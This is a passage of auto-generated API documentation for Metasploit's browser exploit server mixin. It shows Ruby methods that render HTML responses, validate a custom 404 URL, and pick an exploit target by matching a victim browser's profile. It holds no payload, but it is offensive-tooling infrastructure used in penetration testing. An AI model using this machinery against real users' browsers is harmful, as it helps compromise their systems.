<span class='id identifier rubyid_html'>html</span> <span class='op'>=</span> <span class='const'>ERB</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='id identifier rubyid_template'>template</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_result'>result</span><span class='lparen'>(</span><span class='id identifier rubyid_template'>template</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_html'>html</span> <span class='op'>=</span> <span class='const'>ERB</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='id identifier rubyid_template'>template</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_result'>result</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_send_response'>send_response</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_html'>html</span><span class='comma'>,</span> <span class='id identifier rubyid_headers'>headers</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="setup-instance_method">
|
||
|
||
#<strong>setup</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
106
|
||
107
|
||
108
|
||
109
|
||
110
|
||
111
|
||
112
|
||
113
|
||
114
|
||
115
|
||
116
|
||
117</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 106</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_setup'>setup</span>
|
||
<span class='id identifier rubyid_custom_404'>custom_404</span> <span class='op'>=</span> <span class='id identifier rubyid_get_custom_404_url'>get_custom_404_url</span>
|
||
<span class='kw'>if</span> <span class='op'>!</span><span class='id identifier rubyid_custom_404'>custom_404</span><span class='period'>.</span><span class='id identifier rubyid_blank?'>blank?</span> <span class='op'>&&</span> <span class='id identifier rubyid_custom_404'>custom_404</span> <span class='op'>!~</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^http</span><span class='regexp_end'>/i</span></span>
|
||
<span class='id identifier rubyid_raise'>raise</span> <span class='const'><span class='object_link'><a href="../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../OptionValidateError.html" title="Msf::OptionValidateError (class)">OptionValidateError</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptionValidateError.html#initialize-instance_method" title="Msf::OptionValidateError#initialize (method)">new</a></span></span><span class='lparen'>(</span>
|
||
<span class='lbrace'>{</span>
|
||
<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Custom404</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>must begin with http or https</span><span class='tstring_end'>'</span></span>
|
||
<span class='rbrace'>}</span>
|
||
<span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='kw'>super</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="try_set_target-instance_method">
|
||
|
||
#<strong>try_set_target</strong>(profile) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Sets the target automatically based on what requirements are met. If there’s a possible matching target, it will also merge the requirements. You can use the get_target() method to retrieve the most current target.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>profile</span>
|
||
|
||
|
||
<span class='type'>(<tt>Hash</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The profile to check</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
188
|
||
189
|
||
190
|
||
191
|
||
192
|
||
193
|
||
194
|
||
195
|
||
196
|
||
197
|
||
198
|
||
199
|
||
200
|
||
201
|
||
202
|
||
203
|
||
204
|
||
205
|
||
206
|
||
207
|
||
208
|
||
209
|
||
210
|
||
211
|
||
212
|
||
213
|
||
214</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 188</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_try_set_target'>try_set_target</span><span class='lparen'>(</span><span class='id identifier rubyid_profile'>profile</span><span class='rparen'>)</span>
|
||
<span class='kw'>return</span> <span class='kw'>unless</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_respond_to?'>respond_to?</span><span class='lparen'>(</span><span class='symbol'>:targets</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_match_counts'>match_counts</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_target_requirements'>target_requirements</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
||
<span class='id identifier rubyid_targets'>targets</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_t'>t</span><span class='op'>|</span>
|
||
<span class='id identifier rubyid_target_requirements'>target_requirements</span> <span class='op'>=</span> <span class='id identifier rubyid_extract_requirements'>extract_requirements</span><span class='lparen'>(</span><span class='id identifier rubyid_t'>t</span><span class='period'>.</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_target_requirements'>target_requirements</span><span class='period'>.</span><span class='id identifier rubyid_blank?'>blank?</span>
|
||
<span class='id identifier rubyid_match_counts'>match_counts</span> <span class='op'><<</span> <span class='int'>0</span>
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_match_counts'>match_counts</span> <span class='op'><<</span> <span class='id identifier rubyid_target_requirements'>target_requirements</span><span class='period'>.</span><span class='id identifier rubyid_select'>select</span> <span class='lbrace'>{</span> <span class='op'>|</span><span class='id identifier rubyid_k'>k</span><span class='comma'>,</span><span class='id identifier rubyid_v'>v</span><span class='op'>|</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_v'>v</span><span class='period'>.</span><span class='id identifier rubyid_is_a?'>is_a?</span> <span class='const'>Regexp</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span> <span class='op'>=~</span> <span class='id identifier rubyid_v'>v</span>
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='id identifier rubyid_v'>v</span>
|
||
<span class='kw'>end</span>
|
||
<span class='rbrace'>}</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_match_counts'>match_counts</span><span class='period'>.</span><span class='id identifier rubyid_max'>max</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='op'>></span> <span class='int'>0</span>
|
||
<span class='ivar'>@target</span> <span class='op'>=</span> <span class='id identifier rubyid_targets'>targets</span><span class='lbracket'>[</span><span class='id identifier rubyid_match_counts'>match_counts</span><span class='period'>.</span><span class='id identifier rubyid_index'>index</span><span class='lparen'>(</span><span class='id identifier rubyid_match_counts'>match_counts</span><span class='period'>.</span><span class='id identifier rubyid_max'>max</span><span class='rparen'>)</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_target_requirements'>target_requirements</span> <span class='op'>=</span> <span class='id identifier rubyid_extract_requirements'>extract_requirements</span><span class='lparen'>(</span><span class='ivar'>@target</span><span class='period'>.</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
|
||
<span class='kw'>unless</span> <span class='id identifier rubyid_target_requirements'>target_requirements</span><span class='period'>.</span><span class='id identifier rubyid_blank?'>blank?</span>
|
||
<span class='ivar'>@requirements</span> <span class='op'>=</span> <span class='ivar'>@requirements</span><span class='period'>.</span><span class='id identifier rubyid_merge'>merge</span><span class='lparen'>(</span><span class='id identifier rubyid_target_requirements'>target_requirements</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
</div>
|
||
|
||
</div>
|
||
|
||
<div id="footer">
|
||
Generated on Fri May 8 17:02:35 2026 by
|
||
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
||
0.9.37 (ruby-3.1.5).
|
||
</div>
|
||
|
||
</div>
|
||
</body>
|
||
</html> |